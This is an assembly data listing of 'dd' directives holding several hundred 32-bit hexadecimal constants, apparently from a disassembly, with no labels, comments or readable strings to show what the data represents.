dd 0A108923Ch, 84B3AE44h, 42BDBE22h, 0A8C71106h, 480C7721h
dd 84CAF127h, 44FB6622h, 0B90091BBh, 924EC86Bh, 70373h
dd 0FD598C49h, 71D6FEBCh, 0FF879600h, 221CA1A0h, 24330FB3h
dd 2DC72AEDh, 20E15090h, 890FA518h, 3CC79Dh, 0A10A443h
dd 3D2200D3h, 0B416F1BFh, 0FE00E3F4h, 0F6D88A37h, 1718FDB0h
dd 0FC78E4h, 0F799842Ah, 0BD50362Ah, 8B1FC18Eh, 5A47C811h
dd 9D75F16h, 0D5D44700h, 19CE0368h, 2E4A8632h, 80FCEDC9h
dd 6EB8C110h, 0A04B49h, 773BB4F8h, 1B72F5F6h, 6CBA9807h
dd 0E46E3805h, 1490BE63h, 0E09E25h, 7785B3B9h, 0AFD2491Ch
dd 0A3ABD40Fh, 4D10C04Eh, 0FC696FD0h, 2401BF1Eh, 0E891AE26h
dd 3E0095D5h, 3359B22h, 6CE94A6h, 3D85512Fh, 48002096h
dd 0CD662407h, 181B1AC5h, 78893E2Bh, 5F00D06Dh, 3D4FF770h
dd 8355CFh, 0AD42314Dh, 9A77D3B0h, 7E0EC700h, 92A3BC01h
dd 0CD7083h, 29AB730Ch, 36DA2E45h, 8E004FEAh, 128FF1D1h
dd 0A054Eh, 0B2EF7F32h, 6AA7A4D0h, 17719B0Eh, 0D3B2737h
dd 0E890D7C0h, 30100033h, 0F093F322h, 0AC03785Fh, 26F5D108h
dd 0E9418898h, 31920470h, 803D49C3h, 0BF0377A5h, 7FA88E26h
dd 2B651B00h, 8F0C4Fh, 10320229h, 6BE228FCh, 1770505h
dd 0DC801A40h, 24FD5A5Dh, 0CC7BDDh, 23A35214h, 5B03DCB4h
dd 0D28566CBh, 4A4998EDh, 0F0B70138h, 0CE57C70Fh, 6DC5CC30h
dd 800CE93Bh, 1067A1A6h, 7659280Eh, 3EB11EBBh, 93234346h
dd 0AC98BFD5h, 0F10F176Fh, 0A0428CC7h, 502F2F9h, 5CBA0E4Bh
dd 0D302A2FEh, 0FCA79C5Dh, 800A1429h, 83B51B20h, 0BA44918h
dd 281E3A10h, 999AAF7h, 0D0D64F8Eh, 0F4152CA3h, 96894590h
dd 16AB8503h, 0B0500112h, 492FE6h, 0C00310DCh, 2D9190BEh
dd 0FF153Eh, 6E7151DFh, 0A6254h, 0F7A7D003h, 28F94726h
dd 0C10E431Eh, 0E65D2A40h, 7271F281h, 0E0E2F311h, 0C2BE37h
dd 2D92D193h, 3E1A3640h, 65C4901h, 370C538h, 0D815D040h
dd 3B3990B0h, 0BD800D0Ch, 7C8ABB31h, 0A2FAD3ADh, 0BF7B9700h
dd 506C3C48h, 343A001Fh, 63D77FFCh, 0E00C374h, 2E0C420Fh
dd 0B0C644ADh, 0C01705F0h, 20953D3h, 6D7975A7h, 35D88487h
dd 0D7950558h, 59C58060h, 0C00C309h, 374555E5h, 0E87D23h
dd 997B1A19h, 4F076A4Bh, 2A2D8000h, 75E7DD4Ah, 5C5600C3h
dd 0F2CA33FFh, 77183074h, 829448F0h, 22750043h, 71E88F6Ch
dd 357D0E2Fh, 45A46600h, 0E33763E6h, 0EB1A0285h, 0D29D081Bh
dd 8A4500D5h, 78A454h, 44F8DB2Dh, 0C07703D9h, 6D383409h
dd 0F2800E8h, 12809740h, 4E78FEh, 0ABD08DA4h, 0C60AEF2h
dd 6E51F868h, 260D765Dh, 6004B8h, 0E1C56CE2h, 300F25ADh
dd 8481E47Bh, 18C0836Dh, 2657960Dh, 40B7D5h, 0D846A75Bh
dd 890023A9h, 2A173338h, 40761Eh, 64CB5074h, 4C1562Bh
dd 86E9D000h, 519C959Fh, 0E5E200DFh, 7233F91Ch, 4500F613h
dd 0E987948Bh, 1BC5FFFh, 779C8161h, 0D897C81Dh, 0BD094E0Ch
dd 8F542A19h, 0C19DC57Ah, 0DB40E01Fh, 9E697831h, 26AB009Fh
dd 0EE3B537Bh, 90007AF2h, 0EFD1D346h, 0BD7829Ah, 3441BC5Ch
dd 0AC19C00h, 0BE0099FBh, 37134362h, 48695C5Ah, 6680C8ECh
dd 0D1900F17h, 80EC6C48h, 0D8C509DEh, 12DD0081h, 39554870h
dd 2C1698ECh, 10023E11h, 4031A3BAh, 54B0FEA4h, 3D33B8EDh
dd 0FEE054h, 0AC6D206Eh, 77165523h, 0E4A8AD51h, 8A02AFDCh
dd 64B99C8Eh, 80662Fh, 66D54658h, 0AA4205FDh, 339BC603h
dd 0F82ECF5Ah, 26790777h, 9003EBh, 19CA55CDh, 0C42E0D9Bh
dd 342C4867h, 1446EE80h, 6B4723h, 0D568048Dh, 83698FB8h
dd 6E44F703h, 7B765Fh, 0EA4AD118h, 30C729F2h, 0FDCCAE0Dh
dd 0E2E04835h, 29C86FF1h, 958BF5A1h, 0EC76F0B3h, 712B8D12h
dd 0AD7D7400h, 5920D366h, 0E079CFDh, 0EC94A5D9h, 0E1011A20h
dd 0E4CE3ADAh, 8DE09782h, 151000FDh, 9BC1E894h, 7D006221h
dd 0A3F53A30h, 905713D1h, 0DD51007Ch, 0C72789F1h, 493E295Ah
dd 4FE789E0h, 0B12020E8h, 18CEFA8Fh, 0A8C24377h, 0E7074730h
dd 0A9B4E1DAh, 3C8B61F0h, 0AA8CA0FFh, 8651DB0h, 0C1BC494Eh
dd 0BF325300h, 5E02ADBEh, 0B8A54B03h, 0BBC0DFC5h, 0CE02FEAEh
dd 1481F71Dh, 5C406095h, 0F48400BEh, 7E0F4464h, 3700BA5Dh
dd 0E070E632h, 9003B36Fh, 0A87D02B0h, 956C61B7h, 0C0D57860h
dd 11DB10C3h, 0AC08E06Dh, 120A282Bh, 0BFD30398h, 814B56D1h
dd 0FD5243A1h, 3CCC41D0h, 288DD426h, 0E903F200h, 6C720E05h
dd 43EB0E77h, 1E613E38h, 20DE323Ah, 220107CAh, 807B64C7h
dd 0E44037C1h, 768941h, 0C0E43218h, 0DDD8B794h, 8C6CEA01h
dd 0E8212551h, 1C8FECh, 23D3EE53h, 895D32BDh, 1DB441Dh
dd 0C9F39140h, 0D6ABAD5h, 3A97A017h, 0B121CCB8h, 0BB053D05h
dd 14818BAEh, 0C4CC2363h, 69C0E30Bh, 3EDE0081h, 6F31E365h
dd 0E504FB1Ch, 1524C147h, 64CAC0C0h, 684109A2h, 2020B25Eh
dd 19741329h, 0A5095F02h, 0C1D1F932h, 41E58164h, 2C2172F9h
dd 1E12A7F8h, 7665367h, 0D08A689Eh, 0B27EE6A4h, 0A5071403h
dd 62952Fh, 2CF00C68h, 747B3FDEh, 4D9AE005h, 0AF80EF1Dh
dd 1E6CE129h, 0C0E47006h, 50BDCFF6h, 5981B46h, 2E3E3901h
dd 27C983E1h, 0CF3B8DCh, 7A8ECFDFh, 5B00C488h, 5D8CD8C3h
dd 17424774h, 135604h, 0C8367624h, 0B4009003h, 8A2D933Ch
dd 9887E6D4h, 0D2BD0604h, 0E5A89E1h, 0EA710700h, 0BE98C3A4h
dd 69FC79h, 1CD4DE0Eh, 8E226DF3h, 287CBCB8h, 0DB403491h
dd 12156C10h, 1DFBA675h, 0D0D261h, 45051A3Ch, 0C800C7B8h
dd 1B2185F2h, 7E798095h, 9C283263h, 93409329h, 6B0B2712h
dd 5D621D98h, 33156500h, 0EC029206h, 0CB618440h, 0D4E18838h
dd 4008B60Eh, 930F2BA1h, 13A022Ah, 371C09EFh, 4A614440h
dd 85AD22h, 0DC32C59Dh, 477E3E79h, 615C300h, 0DC8A9ADh
dd 237C07D9h, 0C05C5382h, 676F0E58h, 2699A100h, 986CA90Ah
dd 14AE0055h, 0DCD97E11h, 9B405BEFh, 6D4700E6h, 0B11C123Ch
dd 69078EB7h, 0B86079FBh, 70875C70h, 0DF274C8Bh, 0CFAEF400h
dd 2F0F53A8h, 701B0ECh, 0A44DED3h, 0DCD811A3h, 7CC762B5h
dd 1C60D83Eh, 0C8B16A75h, 0BE038C4Ah, 8A927F63h, 4CC8A052h
dd 0F6599AFh, 64098D40h, 58ACCBC0h, 30008BA6h, 11064A32h
dd 6DB6DDh, 0D873E510h, 451F42B1h, 957F2D00h, 0D639268Ch
dd 926F1F0Ah, 0DF01C0AAh, 36145F1Dh, 741348h, 2235B7B9h
dd 109CC8h, 21EA66FFh, 700D1E3Dh, 856E8C38h, 59B9EE4Fh
dd 91BC400h, 8330E913h, 0D81E81D1h, 2800FBCAh, 42D08F8Bh
dd 1C8445C1h, 391D79h, 5B3488BCh, 7B00BA96h, 0F266DAA4h
dd 29E54Ch, 0D01B9975h, 2F12A32Dh, 189FF810h, 0A9892200h
dd 0E00915F0h, 11CCAD00h, 0DD0E744Eh, 0F0E350FAh, 7DAFC62h
dd 0F080EDF9h, 1F43A36Fh
dd 0EB01A90h, 214D8902h, 48139693h, 501987CCh, 20FEC8BBh
dd 3809D93Ch, 0B435Eh, 607C66ECh, 18B0080h, 0EDF79A7Eh
dd 0F5735D3Dh, 0B2211200h, 0FD6A3382h, 0C6660F0Bh, 0E43587B9h
dd 0CC573100h, 0B60C5DAFh, 0D600E498h, 0BA705CDBh, 27D3C42h
dd 8F25DDD4h, 20442353h, 3D94D200h, 0EEEFEBB1h, 0F85200ACh
dd 28F7DBAEh, 0F6002348h, 2DD75B91h, 0D62904h, 385F5D82h
dd 7358A5FDh, 514F3300h, 85A6FC9h, 1E90736h, 1016E7h, 4CC00996h
dd 467EA00Fh, 0CADB806Eh, 0FC142CFCh, 885C0084h, 85CFEDF8h
dd 8E00943Ah, 8BD2B6E5h, 0F1144Eh, 0BA5C726Bh, 4A10F8DBh
dd 0D506F071h, 7D4F0C78h, 618D0090h, 0AF673820h, 0ED31A0EFh
dd 0C741843h, 1114FD8h, 8185FF0Dh, 0ECC9D6D7h, 0D20006B2h
dd 5B884A0Ah, 0C0ECB7F7h, 16A4C880h, 2B0E3A7Ah, 8538937Ch
dd 0E6806960h, 791099Ah, 349D63Fh, 0DF1AA017h, 0D0006BFh
dd 0EF41405Fh, 75358Eh, 21201E4Eh, 13E83B78h, 6287E400h
dd 8431CCFh, 0B27223h, 40DEEAFh, 0FD30B0C4h, 0FE422C00h
dd 8D26A64Ah, 942E00ABh, 8C0774D6h, 0BE003D11h, 31C76773h
dd 4BE401h, 9A0D780Bh, 8930E316h, 0FBDBA80Fh, 9ED2A010h
dd 3DF56D7h, 62FE9F26h, 54C006D5h, 7F022AB2h, 7A07302Ch
dd 36E244h, 0A2197184h, 731E63Bh, 0E48F9675h, 56D3F0B3h
dd 430F22C5h, 0E0AC03E7h, 40855B02h, 2AFB149Bh, 8305B48Dh
dd 2FE0D2Bh, 0A9E42DC4h, 0B9A7B8A0h, 1807D78Ch, 0FE9414Dh
dd 0B440B4A5h, 96A2FDBBh, 0A5E248h, 936FC0CEh, 6711F924h
dd 700D0E6h, 6416E210h, 33DD1E56h, 0C4C0BEB1h, 2FF94FB8h
dd 0A4C11828h, 0AE0AC703h, 0A9DC8AA6h, 73F43069h, 0A467052Ah
dd 9AE579h, 8AE005B0h, 9B80A7DBh, 6E900DEh, 819DB928h
dd 5002DACh, 8EE177D8h, 39BC3B13h, 671C7E49h, 51390373h
dd 5B808C2Ah, 87002EE2h, 0EF66DA6h, 1005F250h, 355ACBAh
dd 0CA9FBECFh, 0AF96D08Ah, 255901FBh, 0B57E503Eh, 0F4F6F0CEh
dd 1EECFD05h, 90802154h, 2AC6BD4h, 0F2852C77h, 0A080D1A2h
dd 7CFD7918h, 370E0B01h, 30B3B2EDh, 0B8FE20h, 0E6FB85CAh
dd 0CBB0D9C3h, 3DEEFC03h, 4A5A175h, 0A0E843E0h, 93849399h
dd 0E5F69000h, 4EC0F370h, 0BFE40Ch, 31F309Eh, 0B567BBF5h
dd 0A4C92F18h, 92B141h, 0A112FA25h, 0A09FC4Dh, 3D37360Ah
dd 0D880F073h, 0B84A8BFBh, 1A830027h, 1CCA2E2Fh, 6824DD2Ah
dd 0CD00F845h, 0B67D130h, 0FC400538h, 14BC61D0h, 1407FC94h
dd 40E7F472h, 52A7D643h, 770E1DF2h, 80BEA2FFh, 0C2796406h
dd 0EEBC0753h, 10386837h, 12E89399h, 0BBB61B00h, 0F8AFA61Eh
dd 4AE73E22h, 0AB370580h, 1B6533F5h, 0B5A70D00h, 0EA14C671h
dd 25783812h, 2EAFFE80h, 76FDFC0h, 0C5002D90h, 52A60BF3h
dd 1DEEF629h, 0FF1E697h, 0BC6E9F5Fh, 1B5C77E1h, 0AA0EF8DFh
dd 87BFD00h, 9CEAB318h, 5483016Ch, 0ED435339h, 9A5E3066h
dd 0E58D3A00h, 0EF85C72Ah, 4EE3008Ah, 2FB288E2h, 0F628254Dh
dd 3700D090h, 6F52D15h, 397CF2BEh, 9D0047C0h, 0E9441C38h
dd 0F600C197h, 0D2086778h, 0B6F490h, 0EF5AE594h, 48A8995Eh
dd 4C91E63Bh, 74077AB3h, 2A07414Ah, 8D115537h, 0E320A128h
dd 0B92900D1h, 0B488D0F0h, 0C50768A0h, 8936FE18h, 5E2F7A80h
dd 0DF650080h, 0A561028Ch, 5B02CD42h, 2E45277Eh, 87D18005h
dd 98D72A71h, 43290175h, 0B8ACFB80h, 7351E039h, 808CA43Dh
dd 7F3616F1h, 588DCBA0h, 8005571h, 76BE1762h, 57039F64h
dd 0C7D2AACh, 0C9F4E899h, 300A0085h, 366CEE1Ch, 3516FE44h
dd 2C40043Ch, 3042F2C5h, 23DF280Dh, 0BC6E06ECh, 10DE5CBBh
dd 88F1D213h, 3EF78400h, 7FC7D854h, 0B5F2006Dh, 55C669DCh
dd 5498771Bh, 0B9734300h, 94BC1922h, 0DE1F0020h, 0CEAED22Ah
dd 0ACFEF8C8h, 2177B218h, 0B0552618h, 118E625Eh, 40D51774h
dd 0FC315C24h, 0BAFF006Dh, 0DCF34528h, 3A1CC63Eh, 0DE07F28Fh
dd 0ACA09308h, 0FB334C8h, 0EDE96DCDh, 8265CA80h, 7100C513h
dd 0D9DA95C0h, 3AF29FCh, 0CEEABBDCh, 0C7B01723h, 30003FB0h
dd 42A64522h, 1E03AEDh, 93FF9BB3h, 0E4CA35A4h, 447CEB62h
dd 88CB1C24h, 0D7362A00h, 921B5E1h, 7DBFF458h, 0A2C64400h
dd 0E6006A8Dh, 8B6F8F92h, 0B48A1FCh, 9DEE4EF1h, 0F5BD0980h
dd 4360B5E9h, 2E2B5F70h, 787964h, 2AADDF8Dh, 0AF018F17h
dd 0CE99D600h, 0A724371Ah, 84C41DF8h, 0DB9268h, 347ABD82h
dd 7E001B4Fh, 642AE37Fh, 0E5923Ah, 793CA702h, 0ECD0E445h
dd 8022FF3Ch, 33670F16h, 1BB260h, 4DAC95D1h, 77102F7Eh
dd 9C7F0C00h, 22E7D7D2h, 0E4900B1Ch, 0A08280h, 2C5539ECh
dd 0CA83481Eh, 0DEA4E00h, 2C92EDD2h, 8374C0DDh, 545E186Eh
dd 0C41BE087h, 1A005F85h, 4CFDCC94h, 1FC2A938h, 0C96B5949h
dd 50008874h, 696FF161h, 83EEE271h, 0CC3DEB24h, 0E14E5904h
dd 198AB0D2h, 9C6442EDh, 0EA599898h, 3C49872Eh, 79633780h
dd 90861Dh, 5EE69CEEh, 19B30F3Fh, 0B2A98700h, 0CE08BF42h
dd 30DFAEh, 48B669D7h, 7C60593Bh, 0ADCFBA20h, 0F02561C7h
dd 0EBE174F9h, 0DCD92BF1h, 0B9134E8Ch, 5C40E846h, 0C96FA7AFh
dd 0B5EC30F2h, 0FF49F8D8h, 43823600h, 0F642E4A9h, 75860095h
dd 0AA8E9DF3h, 37007350h, 71DD5553h, 0EA032DB7h, 0D8D2030Fh
dd 93729AAEh, 92AF1CE8h, 0C0CA160Ah, 0CF00888Fh, 7FBCB47Ch
dd 0E37E0F05h, 2760AFFDh, 0D18B83EEh, 8209AC00h, 56C0DCDFh
dd 2EAE00A6h, 88155F20h, 233C38A7h, 18B08601h, 4C79D859h
dd 0D9056840h, 0D38A3DDDh, 45984F6Ch, 4B1ECE1Dh, 730119EDh
dd 0DEFC94E9h, 1F96830h, 5F74DBA9h, 226644F0h, 6AC902F8h
dd 0C8C0CF6Bh, 2EDD164h, 0D8CC349Ch, 0C402055h, 610C5157h
dd 101AFCB8h, 4A9F00E2h, 0A245505Ch, 434DF24Ch, 3F911D24h
dd 0D9C23C00h, 45B789h, 0DA7228BDh, 9AF0DBF8h, 0B6E64A02h
dd 480923A9h, 90A3F600h, 42E2BCh, 0AABCE262h, 4BA767E3h
dd 0CE217605h, 0EC002C6Eh, 8EBE09Ah, 0A0D20026h, 0B042EDADh
dd 0AA28608Bh, 0B600E4B1h, 48763D88h, 279E51h, 0F15F027Bh
dd 1DA46383h, 5928CB0Fh, 0DC36E10Bh, 10283152h, 7B17A100h
dd 0BC18EA41h, 0BDAF3E24h, 24E0A00h, 590728h, 4CCE9306h
dd 75408E20h, 8060053Dh, 3417AC22h, 92DF9A37h, 8507A080h
dd 0D51002F7h, 0A6BF0B4h, 87E1A740h, 0D606202h, 0C05CAA01h
dd 0FFA7E2h, 4D54A821h, 8F552E76h, 3F2B300h, 2CBE0B94h
dd 20A000F4h, 2285CFD8h, 0E538E67Dh, 0D8B4B0B8h, 1B645D9h
dd 0CABD8267h, 2CF60A4Bh, 0A835C318h, 0C9E0BF96h, 592F7h
dd 0C59C5C74h, 0E7193A1Bh, 0D1D758C0h, 31351DEh, 0F68CB1F0h
dd 30C75C88h, 0F5476E26h, 0BEB56806h, 35C7F50h, 9604234Dh
dd 0AAB0C837h, 98002AD8h, 0A8C0B807h, 3BAC70D6h, 0E3800DE4h
dd 2869B7F0h, 0BD00DCCFh, 231297D2h, 0BFAC6D3h, 6711D9ABh
dd 8F636480h, 7700A5FBh, 7C52882Fh, 4C0493B1h, 31001EDEh
dd 0ADC67CAh, 0DF7A7D71h, 0D98A600h, 0AC04F0BDh, 320E07DBh
dd 616F4E3Bh, 0BCE002C1h, 0ADA80F38h, 505E125Bh, 0CE589180h
dd 0FF0658Fh, 4DC3D885h, 0DB9EB8C3h, 36262088h, 0B2FD8101h
dd 1063F2A0h, 0E4197C0h, 0CB3A5CEEh, 9880A84Bh, 8CC11394h
dd 0FC600628h, 4E687C00h, 0B0B27F56h, 702D6FE6h, 2FAB2482h
dd 0B8AACC68h
dd 0AC590A0Eh, 0A62582A0h, 0D810E071h, 5FF8B0h, 1A9DC909h
dd 50935786h, 0FD1E5200h, 7F603967h, 58A907E1h, 304F8881h
dd 83BE90E8h, 560070FAh, 0D63ECC02h, 0FFEC3h, 8EFFAC84h
dd 80D59348h, 0A95B4E00h, 30292FD0h, 2BBA0271h, 1EE0FCDh
dd 0ED818CA0h, 0C067AA90h, 5E200CA0h, 642B6h, 8740E43Ah
dd 0D01B8BE6h, 2B8CDA00h, 238DE802h, 0D73D0014h, 48080AB3h
dd 0B2E327Ch, 0F90022E2h, 0E1A45292h, 7A8800C5h, 0D19FF5C9h
dd 9A07C4DAh, 751F3C39h, 7CE9E1E0h, 5CFC1C66h, 187A0E8Dh
dd 1E9751E0h, 0AC000971h, 0D46AE04Ah, 759E2A8Bh, 7677BEh
dd 0FF4BC82Ch, 0D8C5CCFDh, 9465ED00h, 2F5FCFF1h, 7E93008Dh
dd 7F686288h, 52006378h, 0B1A37BFDh, 0EFF6E33h, 99C8FEA4h
dd 9DDD6CA0h, 9100E479h, 8D25E319h, 0B8AD8345h, 0D2ED0345h
dd 0E40CBC87h, 322A0698h, 0D67BB901h, 860BC114h, 24C8F435h
dd 0B57100E5h, 916C1CA8h, 9600A0D4h, 0D1F1D3C3h, 754FE3h
dd 424658C1h, 62B171C0h, 0DE6D4000h, 5F08EE68h, 9B4A1E16h
dd 29E100B0h, 0B87369C6h, 99F6ED00h, 4959792h, 0F053005Bh
dd 43D2F96Eh, 0A53CD440h, 300C8951h, 0FAC58010h, 124E96h
dd 0EAC692D3h, 7FFE17D0h, 8574A300h, 731447C9h, 77AE004Dh
dd 87FBE4EBh, 59120407h, 58851A10h, 0AB045850h, 0AF0116ACh
dd 3281868Fh, 304B228Ch, 9D880BA0h, 0D0A110C3h, 0A801E1BBh
dd 9D3FEE4h, 6CE68B8Dh, 650C4080h, 0A1F849BAh, 29A96A32h
dd 6EFF1051h, 88BB3188h, 5589A769h, 70440F08h, 0D022842Dh
dd 22C2F1A5h, 0B924756Dh, 14A35B21h, 7E29E9C6h, 0F502E9EAh
dd 89A41910h, 0CB22C241h, 21C12448h, 51391A9h, 4AB6449Ch
dd 71427D48h, 51F9268Ch, 1ACD251Eh, 351680FAh, 84983415h
dd 2EC30065h, 12BFCFDh, 0CE007AE8h, 12C2963Fh, 0B0268766h
dd 0AD6000DDh, 518E650Bh, 7D1F09E1h, 4440EB53h, 0F68A32AFh
dd 573C00BAh, 0E27A98EFh, 740938CAh, 81A930F8h, 9046BBE2h
dd 3905CDC8h, 9DFB8194h, 9B005ED8h, 0AF33E2E3h, 0CDC30Ah
dd 0D21FB2EBh, 8ECF1D9Dh, 0A88A3C00h, 80A00FABh, 0CBC20725h
dd 106DEEA9h, 83E922E0h, 65317600h, 0E7544A7Dh, 1149285h
dd 6C731FACh, 0FF238B38h, 1C03988Eh, 0AA240870h, 0A88185B6h
dd 0B5CC4680h, 2579003Ah, 9D4FA752h, 43007B37h, 1202822Fh
dd 1DC1F7h, 990E2E89h, 32DB9433h, 0A4779F00h, 0E6ED3AD8h
dd 74974812h, 0E72BB680h, 8500C4C8h, 0D7083D5Ah, 16EBE4h
dd 5BE3AA7h, 38B37FCEh, 347A1700h, 0D8A0846Bh, 6A5F0020h
dd 74AEC192h, 5D09FADFh, 0E8B981h, 3F693B01h, 0EF500039h
dd 0B10711E1h, 0AB00472Fh, 807DEA73h, 96B2F7h, 1824D450h
dd 8CA8FD84h, 43423E00h, 0BD608A2Ah, 0DBB0E1Bh, 8660C7C4h
dd 0E1341454h, 0F08E5A00h, 60E85124h, 48F51CF8h, 0A9BDC011h
dd 530BEAADh, 3FDBD100h, 5F81F25Eh, 561D00B9h, 8A12D774h
dd 0BE0E5058h, 4B6E7h, 2E47E6DAh, 8FA90064h, 53885A9Ch
dd 0F203220Ch, 9BD98A5h, 9BA19021h, 5D79486Dh, 0DC5728h
dd 49072480h, 219283F8h, 51B5100h, 2A84E153h, 0E4590029h
dd 37B61595h, 6E1FB187h, 0EB4011E6h, 797E844Dh, 7D2F61Eh
dd 0AEA585D3h, 0C68D3099h, 290005BDh, 0A77E3D7h, 1FC952F9h
dd 0C0718943h, 0EDA5C8BBh, 0C100F47Ah, 5FF1E367h, 4672F9h
dd 0CE526E6Ah, 0B00242FAh, 0B635B02h, 426576A5h, 77C48h
dd 0F266AC3h, 0C800C260h, 32D90740h, 125599h, 9EE0FC6Ch
dd 0D863A224h, 0B0C0F7F8h, 7DAA7881h, 0B67AFEh, 0AC020B60h
dd 844DECAh, 512E70Bh, 0B3B4207Ah, 60E4E599h, 0BCC4580Bh
dd 65E2D7F7h, 0BA5AAF00h, 69AB952Ch, 77140F38h, 0F500B633h
dd 0CB8C276h, 8DD79A00h, 5B1988CEh, 0F09960DEh, 36A45498h
dd 7FBB4200h, 0CF408BCh, 15020075h, 8303898Fh, 0A60F18F0h
dd 30E7DFCCh, 0C4EBA200h, 96980EC0h, 0F85DA100h, 7C1E7D4Ah
dd 0BCA001E0h, 0B637746Bh, 78E940D1h, 4700F916h, 28406A7Eh
dd 0E26627h, 2CEABAFEh, 9F8B1382h, 773E1004h, 0A08002CEh
dd 1A7F2D1h, 40663991h, 0DC8E6738h, 600D7C7h, 895E3009h
dd 0FCFE96h, 0A1E82523h, 552CC2B1h, 0AB0E5C00h, 459D7CBFh
dd 876900E6h, 3D46A0E9h, 5EC0F11h, 148FC200h, 2BFBD168h
dd 17C70002h, 8A1E5E9Fh, 0DF003C65h, 0D973B08Fh, 28555871h
dd 0B9897E9h, 1A3B4E49h, 2360077h, 0A8F46Ah, 0FE65AABAh
dd 3ED4BDE1h, 0E3363903h, 0A01E2D1Ah, 489F98h, 0AEB062EBh
dd 0B5F2778Ch, 5BF81200h, 47180F27h, 29BA0958h, 6880A849h
dd 4221B5D8h, 0F0C6B420h, 0F01B8993h, 0A01EC873h, 0FBFE132Ch
dd 0EE700960h, 2CBCD0Fh, 58D42CEh, 1940F485h, 20EB7297h
dd 3B001C4Ch, 145B6022h, 5925EDF9h, 0C51FA874h, 7BC000E4h
dd 62170BAEh, 331D6709h, 0AA108599h, 790306EBh, 6977B09Bh
dd 85355901h, 68EDF876h, 704904D7h, 81FC7918h, 22B34758h
dd 34890094h, 8B01F2E4h, 0C97800D3h, 403C2773h, 880ECCFBh
dd 405131B9h, 610791B0h, 81D4A02Bh, 5B42007Bh, 0FACCD897h
dd 37FAA525h, 0D0D52E00h, 107A4BA2h, 38EA010Fh, 5D6F486h
dd 67F03055h, 6447251Ch, 4313DB80h, 0E93102h, 279E9C0Bh
dd 0E33C49FCh, 0A200BA7Ah, 0FE3544FDh, 194AD5Bh, 0B4481B13h
dd 2019498Bh, 20E5AAACh, 0C6203200h, 0D34D00B5h, 17C87D9Dh
dd 39000FA7h, 0D579F8FFh, 1F2B18A0h, 7D8CA4AAh, 0E64F2504h
dd 19688003h, 0A3E66048h, 0BCD91F00h, 0F29DB4Eh, 0C0BF07C1h
dd 700EE6B4h, 0DD36644Ah, 2B309C04h, 74C0F85Bh, 7D4753A7h
dd 0CDAD0132h, 27313FDEh, 9480D2BCh, 0D906BD61h, 0B3E96501h
dd 73DE54A7h, 51CBAFF4h, 8320884Bh, 0C696008Eh, 44E9FF49h
dd 0B507CEDCh, 1FEF3146h, 0EC3BC0DEh, 5842015h, 2A6AD0D1h
dd 0CC88041h, 60772EB2h, 22AE9700h, 1256C5CAh, 7E4A061Bh
dd 28385D20h, 3D001890h, 0F7E493ABh, 0C3F980h, 6976027Dh
dd 0F0D84C88h, 5273EC03h, 0E83EB5FCh, 648DBAh, 0EA0C924h
dd 0F4B466F7h, 7E0029F4h, 0B022E40Ah, 3C45EFDh, 0BBE8AC75h
dd 66F0411Dh, 0A3000129h, 4F2FC3B2h, 484DDB9Bh, 4B0656B9h
dd 3640DEE4h, 0AE3BF703h, 0C8A49D51h, 3ED1FB7h, 314BEB90h
dd 0BF88FDD8h, 2600AC5Ah, 417B98Dh, 9B6118h, 83C470DFh
dd 0FA57020Eh, 0FF78E600h, 73C6D785h, 2EB32EA1h, 0ADA8088h
dd 0DF518F5Eh, 0F56F0F03h, 0B8E47644h, 0B83715BFh, 77F6168Ch
dd 0FEA80006h, 0B0DC211Ah, 6600D3F4h, 0B5AA3305h, 2A42D19h
dd 0C8C34B22h, 0B480DA6Ch, 868C1F34h, 0D81CB107h, 78A7E33Eh
dd 8F9B30B0h, 0CF6A00AAh, 21EEDDEAh, 4F002B3Fh, 7B59C6D3h
dd 1364FB22h, 5654854h, 80070EE8h, 0C8A0E32Eh, 0BE8AA02h
dd 42B58DBDh, 0EE5C8036h, 48CAE417h, 8500B470h, 0F8D80BC5h
dd 667B3174h, 5F5AB100h, 5E48AF15h, 1BDF0096h, 46F7FA91h
dd 0B503CD03h, 115AB3A7h, 0B233C09Bh, 7CE407h, 12D2F1DCh
dd 4341B9C0h, 0E76F3A1Dh, 2290A49h, 0C097A9C0h, 0C7F708h
dd 5C2114Ah, 0F82AFE27h, 38D6E203h, 0C841DABFh, 5A88778h
dd 8A37CF70h, 0E863C021h, 0A900E118h, 9B04105Dh, 172F6h
dd 0CCE26EB3h, 0B4D48A09h, 0E4AECB00h, 956C6A7Dh, 36730011h
dd 53F8782Fh, 9B7829D5h, 0D5C8F028h, 0A6136A03h, 0F8835814h
dd 0E24E93h, 77501AA9h
dd 5BDB3BB9h, 0DF6EEA00h, 62514098h, 0FAD07158h, 378B6h
dd 0C70D2356h, 73C4F882h, 0AF16200Bh, 90288265h, 1E7860BDh
dd 5DC90095h, 336CC78Eh, 0EE009D36h, 0DF8BA798h, 3178EAh
dd 4FCF792Ah, 3C43E0A6h, 0D2B23505h, 83008F14h, 8DB16F5Fh
dd 0A0F00D6h, 0EFE0CE0h, 4A014F44h, 5CAB24DDh, 12F0BB37h
dd 78DFABCh, 6D906F34h, 7CCEC0FFh, 0B100E43Eh, 3FC85321h
dd 468866h, 5D2E4915h, 0AB4CBBC3h, 126EE93Ch, 100370C5h
dd 0A8111F5Ah, 0DDAF27h, 0A37A5228h, 18A96B4Ch, 0E1BEBF1Ch
dd 0F216007Eh, 0FB0A9E80h, 0D91300EDh, 8D4E54Ah, 0F8E2ECE8h
dd 41543C01h, 2BC62AC4h, 0E91BE8h, 0FA958439h, 99223E92h
dd 1A84800h, 804B60E3h, 1BBF017Dh, 0D261DD5h, 0B0A57006h
dd 0A5139D00h, 0F643A91h, 0E3A100B8h, 0FB598699h, 0A6002DCAh
dd 57FD4416h, 7C28DAh, 0E3A348F2h, 873C6376h, 8D12DE00h
dd 42B5619h, 1B270082h, 377C3592h, 64986CDAh, 180D461Dh
dd 8A61FD43h, 310898B3h, 426B00A8h, 54AECD0h, 0D27F3BB1h
dd 150BCB00h, 21406EA9h, 2781011Ch, 7E8D4FB7h, 0D098DFD1h
dd 0B00073E5h, 0B9103F69h, 3ACEB8E0h, 0EC0082A9h, 8A908DCAh
dd 191CD65Bh, 97E29FDh, 8159FB94h, 0E1A02511h, 35C460h
dd 0D00AFF17h, 0B1BE87D8h, 0B93FA47Ch, 66DD9DD1h, 300D3C80h
dd 6EA05Bh, 855AB2FDh, 0CC4B14DCh, 0A923ED00h, 93C03843h
dd 84283059h, 0F1D189C8h, 0AD30C501h, 1AAF9754h, 0B9E4D0h
dd 0FB3CF03Ah, 8EE57A16h, 8AFC7E14h, 50EB50A0h, 71C53000h
